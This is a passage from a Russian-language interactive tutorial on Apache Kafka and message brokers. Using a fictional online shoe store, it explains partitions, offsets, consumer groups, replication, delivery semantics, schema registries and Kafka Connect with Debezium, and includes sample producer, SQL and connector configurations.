журнал регистрации в поликлинике. Записи не вырывают. Регистратор читает с утра, бухгалтерия — вечером, проверка из министерства листает журнал за прошлый месяц. У каждого своя закладка, и никто не мешает другим.

Попробуйте все три

Заказы публикуют сообщения, а три сервиса их читают. Переключайте режим, нажимайте кнопки и смотрите, кто что получил. Особенно интересны две последние кнопки: «перечитать» и «новый подписчик».

хранилище брокера
кто что получил

Как это устроено у разных брокеров

БрокерОчередь (одному)Pub/sub (всем)Журнал (с историей)
Kafkaконсьюмер-группа: внутри группы каждое сообщение читает один; share groups (Kafka 4.2+)разные группы читают один топик независимооснова всего: топик — это журнал
RabbitMQочередь — основа всегообменник fanout или topic: копия в каждую привязанную очередьпотоки (streams), с версии 3.9
Облако AWSSQSSNS; SNS → несколько SQS = «раздача в очереди»Kinesis Data Streams, Amazon MSK (управляемая Kafka)
Google Cloudодна подписка Pub/Sub и несколько читателейнесколько подписок на одну темухранение и «перемотка» подписки (seek) по времени
Проще говоря. Очередь отвечает на вопрос «кто сделает эту работу?» — одна задача, один исполнитель. Журнал отвечает на вопрос «что случилось?» — история фактов, которую читает кто угодно и когда угодно. Поэтому команды («отправь письмо») обычно кладут в очередь, а события («заказ оформлен») — в журнал.
Частая ошибка. Три разных сервиса читают одну очередь. Каждый получит только часть сообщений: склад зарезервирует треть заказов, аналитика посчитает треть продаж. В режиме «Очередь» нажмите «Подключить сервис бонусов» — увидите, как новый сервис «ворует» сообщения у старых. Правило: у каждого сервиса-получателя своя очередь (или своя консьюмер-группа в Kafka).

глава 3 · Kafka изнутри топик, партиция, смещение: как журнал лежит на диске

Для Чёрной пятницы Борис выбрал Kafka: событие «Заказ оформлен» читают четыре сервиса, аналитика иногда перечитывает историю, а поток большой. Начнём с того, из чего Kafka состоит. Kafka — это кластер из нескольких серверов-брокеров (обычно от трёх). Внутри — журналы.

Топик (topic) — именованный журнал сообщений одного смысла. У «Ботинка» это orders.events — все события заказов. Продюсер пишет в топик, консьюмеры читают из топика.
папка «Входящие заказы» в канцелярии. Все бумаги про заказы кладут в неё, и только в неё.
Партиция (partition) — топик нарезан на несколько независимых журналов. Каждая партиция дописывается только в конец, и порядок внутри неё строгий. Разные партиции живут на разных брокерах и обрабатываются параллельно.
кассы в супермаркете. Одну длинную очередь разрезали на шесть касс. Внутри каждой кассы порядок строгий: кто раньше встал, того раньше обслужат. А между кассами порядка нет: человек из третьей кассы может выйти раньше того, кто встал раньше него во вторую.
Смещение (offset) — порядковый номер сообщения внутри партиции: 0, 1, 2, 3… Номер присваивает брокер при записи, и он никогда не меняется. Смещения в разных партициях независимы: сообщение №5 есть и в партиции 0, и в партиции 1, и это разные сообщения.
номер страницы в журнале регистрации. Закладка читателя — это просто номер страницы, с которой продолжать.

Как партиция лежит на диске

Сегмент (segment) — партиция хранится не одним файлом, а кусками. Пишется только последний кусок — «активный сегмент». Когда он дорастает до размера segment.bytes (по умолчанию 1 ГиБ) или возраста segment.ms (по умолчанию 7 суток), его закрывают и начинают новый. Закрытые сегменты больше не меняются и удаляются целиком.
журнал ведут в тетрадях. Заполнилась тетрадь — начали новую. В архив сдают тетради целиком, страницы не вырывают.
/var/lib/kafka/data/orders.events-0/          ← папка партиции 0 на одном брокере
  00000000000000000000.log        ← закрытый сегмент: сами сообщения, offset 0…1048575
  00000000000000000000.index      ← подсказка «offset → место в файле», чтобы не читать всё подряд
  00000000000000000000.timeindex  ← подсказка «время → offset», чтобы искать «с 00:00 пятницы»
  00000000000001048576.log        ← активный сегмент: имя = первый offset в нём, сюда дописывают
  00000000000001048576.index
  00000000000001048576.timeindex
Почему Kafka быстрая, если пишет на диск. Она только дописывает в конец файла — это самый быстрый способ работы с диском, почти как запись на магнитофон. Свежие данные лежат в памяти операционной системы (страничный кеш), поэтому консьюмеры, которые не отстали, читают из памяти. Сообщения ходят пачками, а при отдаче консьюмеру данные копируются из файла в сеть без лишних перекладываний (zero-copy). И Kafka по умолчанию не ждёт «сброса на диск» (fsync) каждого сообщения: надёжность даёт копия на трёх машинах, а не диск одной (глава 7).

Сколько хранить: удаление и компакция

Срок хранения (retention) — сколько Kafka держит сообщения, прочитаны они или нет. По времени: retention.ms, по умолчанию 7 суток. По объёму: retention.bytes на одну партицию, по умолчанию без ограничения. Удаляется всегда целый закрытый сегмент, у которого самое свежее сообщение старше срока. Поэтому данные живут чуть дольше заданного.
камера хранения на вокзале: «храним 7 суток, потом утилизируем». Забрали вы сумку или нет — через неделю её не будет.
Компакция (log compaction, cleanup.policy=compact) — вместо удаления по сроку Kafka оставляет последнее сообщение для каждого ключа, а старые версии выбрасывает. Получается «текущее состояние» по каждому ключу: например, последний статус каждого заказа.
адресная книга. Когда друг переезжает, вы не храните все его старые адреса — зачёркиваете и пишете новый. Нужен только последний.
Надгробие (tombstone) — сообщение с ключом и пустым телом (null). Для компакции это команда «удалить ключ совсем». Само надгробие хранится ещё delete.retention.ms (по умолчанию сутки), чтобы все читатели успели его увидеть, и потом исчезает.

Ниже — партиция из трёх сегментов. Ключ — номер заказа, тело — его статус. Запустите компакцию, потом верните и «промотайте» 7 суток. Обратите внимание на смещения.

Когда удаление по сроку (delete)

Поток событий, где важна история за период: заказы, клики, платежи. Старое никому не нужно или уже лежит в хранилище аналитики.

Когда компакция (compact)

«Справочники» и состояния: профиль покупателя, последний статус заказа, цена товара. Новый сервис может прочитать топик с начала и получить текущее состояние всех ключей. Служебный топик __consumer_offsets, где Kafka хранит закладки, тоже компактный.

Многоуровневое хранение (tiered storage). С Kafka 3.9 оно готово к продакшену: закрытые сегменты уезжают в дешёвое объектное хранилище (S3-совместимое), а на дисках брокеров остаются только свежие. Так можно хранить месяцы истории, не покупая горы дисков. Читатели ничего не замечают, только старые данные отдаются медленнее.
«Топик orders.events: срок хранения — 14 суток (нужен для повторной обработки после сбоев получателей и для догрузки аналитики). Топик customers.profile: компактный, ключ — идентификатор покупателя; удаление покупателя публикуется надгробием в течение 24 часов после запроса на удаление персональных данных.»
Типичные ошибки. 1) «Kafka — это база, будем искать там заказ по номеру». Нет: Kafka умеет читать по смещению и по времени, но не по полям — для поиска нужна база или индекс. 2) Срок хранения выбран «навсегда», а диск посчитать забыли (калькулятор — в главе 13). 3) Компактный топик без ключей: компакции не за что зацепиться, такой топик просто не примет сообщения без ключа.

глава 4 · ключ, порядок, группы куда попадёт сообщение и кто его прочтёт

Анна оформила заказ, оплатила его, а через минуту отменила. Это три события: «создан», «оплачен», «отменён». Если склад обработает «отменён» раньше «оплачен», он снимет резерв, а потом поставит его снова — и пара повиснет навсегда. Значит, события одного заказа (или одного покупателя) должны читаться строго по порядку. Kafka даёт порядок только внутри партиции. Как сделать, чтобы события Анны попали в одну партицию? С помощью ключа.

Ключ сообщения (key) — строка, по которой продюсер выбирает партицию. Правило: партиция = хеш(ключ) mod число_партиций. Одинаковый ключ — всегда одна и та же партиция, а значит, строгий порядок. Kafka считает хеш алгоритмом murmur2.
сортировка писем по первой букве фамилии. Все письма Ивановой попадают в ячейку «И» — и лежат там в порядке прихода. Письма Петрова — в ячейке «П», и почтальон может разнести их раньше или позже, чем письма Ивановой.

Ключ = покупатель

Все события Анны — в одной партиции, строго по порядку. Разные покупатели — в разных партициях, обрабатываются параллельно. Обычно правильный выбор.

Случайный ключ

Нагрузка размазана идеально ровно, но события Анны разлетаются по разным партициям. Порядок между ними не гарантирован.

Без ключа

С версии 2.4 продюсер раскладывает такие сообщения «липко»: набивает пачку в одну партицию, потом переключается на другую. Хорошо для пачек и скорости, но порядка между сообщениями нет.

Куда попадёт ключ? Настоящая формула Kafka

Введите ключ — посчитаем тот же хеш murmur2, что и настоящий продюсер Kafka для строкового ключа, и найдём партицию. Потом поменяйте число партиций.

Почему нельзя просто «упорядочить всё по времени»: часы на разных серверах расходятся, и общий порядок событий в распределённой системе — дорогое удовольствие. Подробно — в разделе «Время и порядок». Kafka честно даёт порядок там, где он дешёвый: внутри партиции.
Добавить партиции — значит сломать порядок на переходе. Число партиций в топике можно только увеличить. Но формула «хеш mod N» после этого даёт другие ответы: ключ Анны переедет в другую партицию. Её старые события остались в старой партиции, новые пишутся в новую — и какое-то время их могут читать разные консьюмеры с разной скоростью. Поэтому число партиций выбирают с запасом сразу, а увеличивают только с планом: остановить запись, дочитать старое, потом включить.

Консьюмер-группа: как разделить работу

Один экземпляр склада успевает 300 заказов в минуту, а в полночь их 2 000. Запускаем несколько экземпляров. Но как им поделить сообщения так, чтобы каждое обработал ровно один экземпляр и порядок не сломался?

Консьюмер-группа (consumer group) — несколько экземпляров одного сервиса под общим именем group.id. Партиции топика делятся между ними: каждую партицию внутри группы читает ровно один консьюмер. Один консьюмер может читать несколько партиций. Разные группы читают один и тот же топик независимо, каждая со своими закладками.
бригада грузчиков разгружает шесть фур. Каждую фуру разгружает один грузчик: двое у одной фуры мешают друг другу и путают порядок коробок. Грузчиков трое — у каждого по две фуры. Грузчиков восемь — двое курят: фур на всех не хватило. А бригада пересчёта с другого склада (другая группа) обходит те же фуры сама по себе, со своими пометками.
Главное правило группы. Максимальный параллелизм группы = число партиций. Шесть партиций — не больше шести работающих консьюмеров. Седьмой будет простаивать в запасе: он пригодится, если кто-то упадёт, но скорость не прибавит.
Коммит смещения (offset commit) — консьюмер сообщает брокеру: «в партиции 3 я всё обработал, в следующий раз начинай со смещения 1051». Закладки хранятся в служебном топике __consumer_offsets. Коммитят номер следующего сообщения, а не последнего обработанного.
закладка в книге. Вы закрыли книгу на 152-й странице, завтра откроете на ней же. Если закладку забыли переложить, завтра перечитаете пару глав заново — это «повтор». Если переложили вперёд, а дочитать не успели — пропустите кусок: это «потеря».
Лаг (consumer lag) — сколько сообщений в партиции ещё не обработано группой: последнее смещение в партиции − закоммиченное смещение группы. Главная метрика здоровья консьюмера.
непрочитанные письма в почтовом ящике. Двадцать — нормально. Двадцать тысяч и растёт — вы не справляетесь.
Ребалансировка (rebalance) — перераздача партиций внутри группы, когда консьюмер пришёл, ушёл или упал. Пока она идёт, переезжающие партиции никто не читает, и их лаг растёт.
грузчик ушёл на обед — его фуры нужно отдать другим. Хорошо, если бригадир передаёт только его фуры. Плохо, если командует «все бросили работу, сейчас заново распределим».

Как бывает устроена ребалансировка

«Жадная» (eager) — старый способ

Все консьюмеры группы отдают все партиции, ждут новой раздачи и только потом продолжают. Вся группа стоит, даже если переехала одна партиция. Отсюда прозвище «остановка мира» (stop-the-world).

Кооперативная (cooperative incremental)

С Kafka 2.4: консьюмеры отдают только те партиции, которые действительно переезжают. Остальные продолжают работать. Включается выбором распределителя CooperativeStickyAssignor.

Новый протокол групп (KIP-848)

В Kafka 4.0 готов к продакшену. Раздачу считает брокер-координатор группы, а консьюмеры получают изменения мелкими шагами через «сердцебиения» (heartbeat), без общей остановки. На клиенте: group.protocol=consumer. Секвенс — в главе 9.

Статическое членство

Консьюмеру дают постоянное имя group.instance.id. Перезапуск при выкладке, если он короче тайм-аута сессии, не вызывает ребалансировку: группа ждёт «того же» консьюмера. Удобно в Kubernetes.

Как Kafka понимает, что консьюмер умер. Двумя способами. Консьюмер шлёт «сердцебиения»; нет их дольше session.timeout.ms (по умолчанию 45 секунд) — считается мёртвым. А если консьюмер жив, но не просит новые сообщения (poll) дольше max.poll.interval.ms (по умолчанию 5 минут), его тоже выгоняют: «завис в обработке». Классическая авария: пачка из 500 сообщений обрабатывается 6 минут → консьюмера выгоняют → его пачку отдают другому → тот тоже не успевает → бесконечная ребалансировка. Лечится уменьшением max.poll.records или ускорением обработки.
«Ключ события OrderPlaced/OrderPaid/OrderCancelled — идентификатор покупателя (customerId). Требуется порядок обработки событий в пределах одного покупателя; порядок между разными покупателями не требуется. Число партиций — 12, чтобы группу склада можно было масштабировать до 12 экземпляров.»

глава 5 · главный пульт живая Kafka: заказы, партиции и группа склада

Это модель топика orders.events и консьюмер-группы stock (склад). Слева — сервис заказов: он публикует события заказов шести покупателей (цвет и буква — покупатель, цифра — номер события покупателя: А3 — третье событие Анны). В середине — партиции: новые сообщения прилетают справа, старые уходят влево. Справа — консьюмеры склада. Каждый успевает около 3 сообщений в секунду, у всех немного разная скорость — как в жизни.

Нажмите «▶ Запустить поток», потом ломайте: убивайте консьюмеров, добавляйте новых, меняйте ключ, включайте «горячий ключ». Под схемой пульт объясняет, почему картина такая. Время в модели идёт быстрее: тайм-аут сессии консьюмера здесь 1,5 секунды вместо 45.

3
2
ключ сообщения
поток заказов
ребалансировка
А1 ещё не обработано А1 обработано, смещение не закоммичено А1 обработано и закоммичено 🔥 — горячая партиция, ⏸ — идёт ребалансировка

Что попробовать

Как читать схему. Строка — одна партиция. Цифра справа — лаг партиции (сколько сообщений группа ещё не закоммитила), полоска растёт вместе с ним. Под строкой — кто её читает. Карточки справа — консьюмеры: какие партиции у кого, сколько обработано. Жёлтый пунктир — партиция на пересдаче: её сейчас никто не читает.
Что вы увидите. 1) На «Чёрной пятнице» при трёх партициях лаг растёт, даже если консьюмеров восемь: пять из них простаивают. Спасает только больше партиций. 2) Убитый консьюмер не исчезает сразу: 1,5 секунды его партиции стоят («Kafka ещё ждёт сердцебиения»), потом ребалансировка. Сообщения, которые он обработал, но не закоммитил, новый хозяин обработает повторно. 3) С ключом «покупатель» события одного покупателя всегда обрабатываются по порядку. Со случайным ключом или без ключа — рано или поздно «оплачен» обработается раньше «создан». 4) Горячий ключ заваливает одну партицию, и добавление консьюмеров не помогает.

глава 6 · продюсер как сервис заказов отправляет сообщения: пачки, сжатие, подтверждения

Кажется, что продюсер просто вызывает send(). На деле внутри него целый маленький конвейер. Сообщение сериализуется в байты, для него выбирается партиция, оно кладётся в пачку, пачка сжимается и улетает на брокер-лидер этой партиции. Потом продюсер ждёт ответа и, если надо, повторяет. Разберём по шагам.

Пачка (batch) — продюсер копит сообщения для одной партиции и отправляет их одним запросом. batch.size — предельный размер пачки (по умолчанию 16 КБ). linger.ms — сколько подождать «попутчиков», если пачка ещё не полна. С Kafka 4.0 по умолчанию 5 мс (раньше было 0).
маршрутка. Она уезжает, когда набрались все места или когда прошло пять минут, — смотря что раньше. Возить по одному пассажиру дорого, ждать полную маршрутку час — долго.
Сжатие (compression.type): none (по умолчанию), gzip, snappy, lz4, zstd. Сжимается пачка целиком, поэтому чем больше пачка, тем лучше сжатие. Брокер обычно хранит данные сжатыми, а распаковывает уже консьюмер. Выигрыш — в сети и на дисках, плата — процессор продюсера и консьюмера.
Подтверждение записи (acks) — чего ждёт продюсер, прежде чем считать сообщение записанным. acks=0 — ничего не ждёт: отправил и забыл. acks=1 — ждёт, пока лидер партиции записал к себе. acks=all (он же -1) — ждёт, пока запись есть у всех синхронных копий. С Kafka 3.0 по умолчанию all. Подробно — в главе 7, там же можно убить лидера.
заказное письмо. acks=0 — бросили в ящик и ушли. acks=1 — почтальон расписался, что принял. acks=all — почтальон принял, а вы дождались, когда копии квитанции лягут в три разных отделения.

Пачки на ползунках

Посмотрите, как linger.ms и batch.size меняют число запросов и задержку. Модель упрощённая: при linger.ms=0 в пачку попадает то, что успело накопиться за время полёта предыдущего запроса (примем 2 мс). Степень сжатия для типичного JSON условная — настоящую меряйте на своих данных.

—
—
—
—

Повторы и идемпотентный продюсер

Сеть моргнула: продюсер отправил пачку, брокер её записал, а ответ потерялся. Продюсер не знает, дошло ли, и повторяет. Без защиты в партиции окажутся две копии заказа Анны.

Повторы (retries). По умолчанию продюсер повторяет почти бесконечно, но не дольше delivery.timeout.ms — 2 минуты на всё про всё. Потом send() завершается ошибкой, и её надо обработать в коде.
Идемпотентный продюсер (enable.idempotence=true, по умолчанию с Kafka 3.0) — продюсер получает от кластера номер (producer ID) и нумерует свои сообщения в каждой партиции: 0, 1, 2… Брокер помнит последние номера и молча отбрасывает повтор уже записанного. Заодно сохраняется порядок, даже если в полёте до 5 запросов сразу (max.in.flight.requests.per.connection ≤ 5).
нумерованные квитанции в кассе. Кассир видит квитанцию №17 второй раз и не пробивает её снова, а просто говорит «уже оплачено».
Граница идемпотентности. Она защищает только от повторов внутри одной жизни продюсера. Если упал и перезапустился весь сервис заказов и сам заново отправил заказ Анны, у него новый producer ID — брокер дубль не узнает. От этого защищают транзакции с постоянным transactional.id (глава 8) и идемпотентность на стороне получателя.

Что летит по проводу: настройки продюсера «Ботинка»

bootstrap.servers   = kafka-1:9092,kafka-2:9092,kafka-3:9092   # с кого начать знакомство с кластером
key.serializer      = StringSerializer       # ключ — id покупателя, строка
value.serializer    = KafkaAvroSerializer    # тело — по схеме из реестра (глава 10)
acks                = all                    # ждать все синхронные копии
enable.idempotence  = true                   # повторы без дублей
linger.ms           = 10                     # подождать попутчиков до 10 мс
batch.size          = 65536                  # пачка до 64 КБ
compression.type    = zstd                   # сжимать пачки
delivery.timeout.ms = 120000                 # 2 минуты на все попытки, потом ошибка
buffer.memory       = 33554432               # 32 МБ очереди в памяти продюсера (по умолчанию)
max.block.ms        = 60000                  # сколько send() может ждать, если буфер полон
Самая частая ошибка продюсера. send() асинхронный: он сразу возвращает «обещание» (Future), а ошибка приходит позже в обратный вызов (callback). Если результат не проверять, недоставленное сообщение молча пропадёт. А если брокеры недоступны дольше, чем помещается в буфер, send() начнёт блокировать поток сервиса заказов — и покупатель увидит тормоза. Решение для важных событий — transactional outbox: сначала событие пишется в свою базу, потом надёжно публикуется.
«Публикация события OrderPlaced: подтверждение от всех синхронных реплик (acks=all), идемпотентный продюсер включён. Недоставленные за 2 минуты события не теряются: они остаются в таблице outbox и публикуются повторно; алерт при возрасте самой старой неотправленной записи больше 5 минут.»

глава 7 · реплики и лидер что будет с заказами, если брокер умрёт посреди записи

00:07. На одном из трёх брокеров Kafka сгорел блок питания. На нём был лидер партиции 3 топика orders.events. Потеряем ли мы заказы, которые продюсер уже считает записанными? Ответ зависит от трёх настроек. Сначала слова.

Реплика (replica) — копия партиции на другом брокере. replication.factor=3 — три копии на трёх разных брокерах. Для продакшена почти всегда 3.
Лидер (leader) — одна из реплик, через которую идёт вся запись (и обычно чтение). Фолловеры (followers) — остальные: они сами постоянно тянут (fetch) у лидера новые сообщения и дописывают себе.
Это та же идея «ведущий и копии», что у баз данных, — подробно про синхронные и асинхронные копии и переключение в разделе «Репликация и переключение».
главный бухгалтер ведёт журнал, а два помощника переписывают каждую запись себе. Вопросы задают только главному. Если он заболел, журнал берёт тот помощник, у которого записи полные.
ISR (in-sync replicas, синхронные реплики) — список реплик, которые не отстают от лидера. Фолловер вылетает из ISR, если не догонял лидера дольше replica.lag.time.max.ms (по умолчанию 30 секунд), и возвращается, когда догонит.
Высокая отметка (high watermark) — смещение, до которого сообщения есть у всех реплик из ISR. Консьюмеры видят только сообщения ниже отметки. Поэтому они не прочитают того, что может исчезнуть при смене лидера.
min.insync.replicas — минимальный размер ISR, при котором лидер принимает запись с acks=all. Если синхронных реплик меньше, продюсер получает ошибку NOT_ENOUGH_REPLICAS: «записать не могу — ненадёжно». По умолчанию 1, в продакшене обычно 2 при трёх копиях.
Нечистые выборы лидера (unclean.leader.election.enable) — разрешить лидером стать реплике не из ISR, если синхронных не осталось. Партиция оживает быстрее, но всё, чего не было у отставшей реплики, теряется — в том числе подтверждённые сообщения. По умолчанию выключено.
если главный бухгалтер заболел, а оба помощника месяц не переписывали журнал, есть два пути: закрыть бухгалтерию до его выздоровления (чисто) или отдать журнал помощнику с дырой в месяц и сделать вид, что так и было (нечисто).

Кто назначает нового лидера: контроллер и KRaft

Контроллер (controller) — диспетчер кластера: знает, какие брокеры живы, кто лидер каждой партиции и кто в ISR, и назначает нового лидера при падении. В Kafka 4.x работает только режим KRaft: 3 или 5 узлов-контроллеров договариваются между собой по алгоритму Raft, а все метаданные кластера лежат в их собственном журнале __cluster_metadata. Отдельный ZooKeeper больше не нужен — в Kafka 4.0 (март 2025) поддержку ZooKeeper удалили совсем.
диспетчерская такси с тремя диспетчерами. Решение «машину №5 — на вызов» принимается большинством, поэтому, если один диспетчер ушёл, двое продолжают работать. Двое из трёх — большинство, один из трёх — уже нет.

Убейте лидера сами

Партиция orders.events-3, три копии: брокер 1 — лидер, брокеры 2 и 3 — фолловеры. Брокер 2 догоняет лидера за один шаг, брокер 3 — за два. Продюсер отправляет пять заказов. Выберите настройки, нажмите «▶» и в любой момент — «💥 Убить лидера». Или сразу жмите «⚡» — лидер умрёт в самый неудобный момент.

acks продюсера
min.insync.replicas
состояние фолловеров
нечистые выборы лидера

—

Как читать схему. Ячейки брокера — его копия журнала партиции. Зелёная черта слева у ячейки — сообщение ниже высокой отметки: оно есть у всех синхронных реплик и видно консьюмерам. У продюсера: ⏳ — ждёт ответа, ✓ — получил «OK», → — отправил без ожидания (acks=0), ✕ — получил ошибку и знает об этом. Красное «потерян» — самое страшное: продюсер получил «OK», а сообщения больше нет.

Сводка комбинаций

Нажмите на строку, чтобы раскрыть подробности. Все строки — при трёх копиях.

Проще говоря. Золотая формула: replication.factor=3, min.insync.replicas=2, acks=all, нечистые выборы выключены. Переживаем падение одного брокера без потери данных и без остановки записи. Упадут два — запись остановится с понятной ошибкой, но ничего подтверждённого не пропадёт. Ещё надёжнее — раскладывать копии по разным стойкам или зонам доступности (broker.rack), чтобы один пожар не забрал все три.
«Потеря подтверждённых событий о заказах недопустима (RPO = 0 для подтверждённых записей). Топик orders.events: 3 реплики в трёх зонах доступности, min.insync.replicas=2, продюсер с acks=all. Допустима остановка записи при одновременной недоступности двух зон; продюсер при этом сохраняет события в outbox.»

глава 8 · семантики доставки сколько раз Анна получит SMS: ноль, один или два

Сервис уведомлений читает события «Заказ оплачен» и шлёт SMS. Консьюмер делает две вещи: обрабатывает сообщение (шлёт SMS) и коммитит смещение (двигает закладку). Между ними всегда есть щель. Если сервис упадёт в этой щели, всё решает порядок: что было первым.

Не больше одного раза (at-most-once)

Сначала коммит, потом обработка. Упали посередине — сообщение пропало. Зато дублей нет. Годится для некритичного: метрики, логи кликов.

Хотя бы один раз (at-least-once)

Сначала обработка, потом коммит. Упали посередине — после перезапуска обработаем ещё раз. Ничего не теряется, но бывают дубли. Самый частый выбор.

Ровно один раз (exactly-once)

Эффект такой, будто сообщение обработано ровно один раз, даже при сбоях. Честно достижимо в двух случаях: всё внутри Kafka (транзакции) или идемпотентный получатель.

заказное письмо и почтальон. Если почтальон вычёркивает адрес из списка до того, как вручил письмо, а по дороге упал — письмо не дойдёт (не больше одного раза). Если вычёркивает после, а упал, успев вручить, — завтра принесёт второе такое же (хотя бы один раз). Чтобы было ровно один раз, либо почта должна «вручить и вычеркнуть» одним движением, либо получатель — узнавать уже полученное письмо и выбрасывать копию.

Уроните консьюмер сами

Консьюмер уведомлений получил пачку из пяти событий «Заказ оплачен» (смещения 10–14) — для Анны, Бориса, Веры, Глеба и Дины. Выберите способ коммита и момент падения и пройдите по шагам.

способ коммита
сбой

—

Как Kafka делает «ровно один раз» и где это кончается

Внутри Kafka «ровно один раз» собирается из трёх кирпичей. Все три нужны одновременно:

1. Идемпотентный продюсер

Повтор отправки не создаёт дубль в партиции (глава 6).

2. Транзакции

Продюсер с постоянным transactional.id пишет результаты в несколько топиков и коммитит смещения входного топика одной атомарной операцией: всё или ничего.

3. read_committed у читателей

Консьюмеры с isolation.level=read_committed не видят сообщения прерванных и ещё не завершённых транзакций. По умолчанию стоит read_uncommitted — о нём часто забывают.

Транзакция Kafka — группа записей в разные партиции плюс коммит смещений, которые становятся видны читателям все вместе или не становятся вовсе. Ведёт её координатор транзакций на брокере; служебный журнал — топик __transaction_state. В Kafka Streams всё это включается одной настройкой processing.guarantee=exactly_once_v2.
перевод между своими счетами в одном банке: списание и зачисление проходят одной операцией. Но если вы снимаете наличные в банкомате другого банка, «одной операцией» уже не получится — там свои правила.
«Ровно один раз» заканчивается на границе Kafka. Транзакция Kafka откатывает только записи в Kafka. SMS-шлюз, письмо, HTTP-вызов банка, запись в PostgreSQL — снаружи. Если сервис отправил SMS и упал до коммита транзакции, транзакцию откатят, сообщение прочитают снова — и SMS уйдёт второй раз. Попробуйте это выше: «транзакция Kafka» + «результат — SMS».

Идемпотентный потребитель: как это выглядит в базе

Для всего, что за границей Kafka, работает одно средство: получатель узнаёт повтор и не делает работу второй раз. Ключ идемпотентности — eventId из сообщения. Отметка «обработано» пишется в той же транзакции базы, что и сама работа. Это приём inbox из раздела Outbox и CDC.

BEGIN;
  INSERT INTO processed_events(event_id, processed_at)
       VALUES ('evt-91af', now())
  ON CONFLICT (event_id) DO NOTHING;      -- вставилось 0 строк? значит, уже обрабатывали:
                                          -- ROLLBACK и сразу коммит смещения, работу не повторяем
  UPDATE stock SET reserved = reserved + 1
   WHERE sku = 'SKU-42' AND size = 42;    -- сама работа склада
COMMIT;
-- и только после COMMIT базы — коммит смещения в Kafka.
-- Упали между ними? Сообщение придёт снова, INSERT вернёт 0 строк, резерв не удвоится.
Для внешних систем, где нет общей транзакции (SMS-шлюз, платёжный провайдер), eventId передают как ключ идемпотентности в их API — если провайдер это умеет. Если не умеет, честно пишут в требованиях: «в редких случаях возможна повторная SMS».
«Гарантия доставки событий — не менее одного раза (at-least-once). Все получатели идемпотентны по полю eventId: повторная доставка не приводит к повторному резерву, списанию или начислению бонусов. Для SMS допускается повторная отправка не чаще чем в 0,1 % случаев.»

глава 9 · по проводу пять секвенсов: кто кому что отправил

Секвенс — схема «кто кому что отправил и когда», время идёт сверху вниз. Здесь пять главных разговоров Kafka с шагами, как они идут по сети. Выберите разговор и жмите «Дальше →» или сразу на стрелки. У каждого шага — подробное пояснение и что будет, если на нём всё сломается. Под секвенсом — что летит по проводу.

Что летит по проводу


  

глава 10 · схемы и экосистема о чём договорились продюсер и консьюмеры, и что вокруг Kafka

Ноябрь, за две недели до пятницы. Борис переименовал в событии поле total в amount и выкатил сервис заказов. Через минуту аналитика начала писать в отчёт нули, а склад упал с ошибкой разбора. Kafka тут ни при чём: ей всё равно, что в байтах. Договор о содержимом сообщений — дело схем.

Схема сообщения (schema) — формальное описание полей события: имена, типы, какие обязательны, какие значения по умолчанию. Это публичный контракт, как описание API.
Реестр схем (Schema Registry) — отдельный сервис, где хранятся все версии схем каждого топика. Продюсер регистрирует схему и кладёт в сообщение не всю схему, а только её номер. Консьюмер по номеру достаёт схему и разбирает байты. Главное: реестр проверяет совместимость новой версии со старыми и не даст зарегистрировать ломающую.
бланк заявления с номером формы: «форма №7, редакция 3». Принимающий знает, в какой клетке что написано. А если форму поменяли так, что старые бланки не читаются, её не утверждают.

Avro

Компактный двоичный формат, самый частый в паре с Kafka. Без схемы данные не прочитать. Правила эволюции строгие и понятные: новое поле — со значением по умолчанию.

Protobuf

Двоичный формат Google. Поля узнаются по номерам, а не по именам: переименовать можно, а вот менять или повторно использовать номер поля — нельзя.

JSON Schema

Обычный JSON плюс описание-проверка. Читается глазами, удобно отлаживать, но больше по размеру и медленнее разбирается.

как выглядит сообщение в Kafka с реестром схем (формат Confluent):

  [0x00] [00 00 00 2A] [ …двоичные данные Avro… ]
    │         │
    │         └─ 4 байта: номер схемы в реестре (здесь 42)
    └─ «магический» байт 0: формат с реестром

реестры: Confluent Schema Registry, Apicurio Registry, Karapace — у них совместимые API

Совместимость: какое изменение пропустит реестр

BACKWARD — назад

Новая схема умеет читать данные, записанные старой. Значит, сначала обновляем консьюмеров, потом продюсера. Режим по умолчанию в Confluent Schema Registry.

FORWARD — вперёд

Старая схема умеет читать данные, записанные новой. Значит, сначала обновляем продюсера, консьюмеры подтянутся потом.

FULL — в обе стороны

И то и другое. Обновлять можно в любом порядке. Есть ещё варианты *_TRANSITIVE — проверка против всех прошлых версий, а не только последней, и NONE — без проверки.

Выберите изменение схемы OrderPlaced (формат Avro) и режим совместимости. Реестр ответит, пропустит ли он новую версию, и почему.

изменение
режим совместимости топика
было: версия 3
стало: версия 4

Kafka Connect и Debezium: данные без своего кода

Kafka Connect — фреймворк для готовых «переходников» между Kafka и другими системами. Source-коннектор (источник) тянет данные из внешней системы в Kafka, sink-коннектор (приёмник) выгружает из Kafka во внешнюю систему: базу, поиск, хранилище файлов. Работает отдельным кластером «воркеров», свои настройки и позиции хранит в служебных топиках Kafka.
переходник для розетки в поездке: не надо перепаивать вилку у каждого прибора, достаточно купить готовый адаптер под страну.
Debezium — набор source-коннекторов для захвата изменений в базах данных (CDC, change data capture). Он читает журнал изменений базы (у PostgreSQL — логическую репликацию, у MySQL — binlog) и превращает каждую изменённую строку в событие в Kafka. В паре с таблицей outbox это главный способ надёжно публиковать события из сервиса — подробно в разделе Outbox и CDC.
{
  "name": "orders-outbox",
  "config": {
    "connector.class": "io.debezium.connector.postgresql.PostgresConnector",
    "database.hostname": "orders-db",
    "database.dbname": "orders",
    "plugin.name": "pgoutput",              ← встроенный в PostgreSQL декодер логической репликации
    "table.include.list": "public.outbox",  ← читаем только таблицу исходящих событий
    "topic.prefix": "orders",
    "transforms": "outbox",
    "transforms.outbox.type": "io.debezium.transforms.outbox.EventRouter"
  }                                          ← превращает строку outbox в «чистое» событие
}
Kafka Streams — Java-библиотека для обработки потоков прямо внутри вашего сервиса (не отдельный кластер): фильтры, агрегаты, соединения потоков, окна по времени. Своё состояние хранит локально и страхует копией в служебных топиках. Пример «Ботинка»: витрина «продажи по минутам» для Олега считается из orders.events на лету. Похожие инструменты — Apache Flink и ksqlDB.
Группы-очереди (share groups, KIP-932) — новый вид группы в Kafka: несколько консьюмеров берут сообщения из одних и тех же партиций, подтверждают каждое сообщение отдельно, неудачные выдаются снова со счётчиком попыток. Консьюмеров может быть больше, чем партиций, но порядок не гарантирован. По сути это «очередь поверх Kafka». В Kafka 4.0 появились в раннем доступе, в Kafka 4.2 (февраль 2026) объявлены готовыми к продакшену.
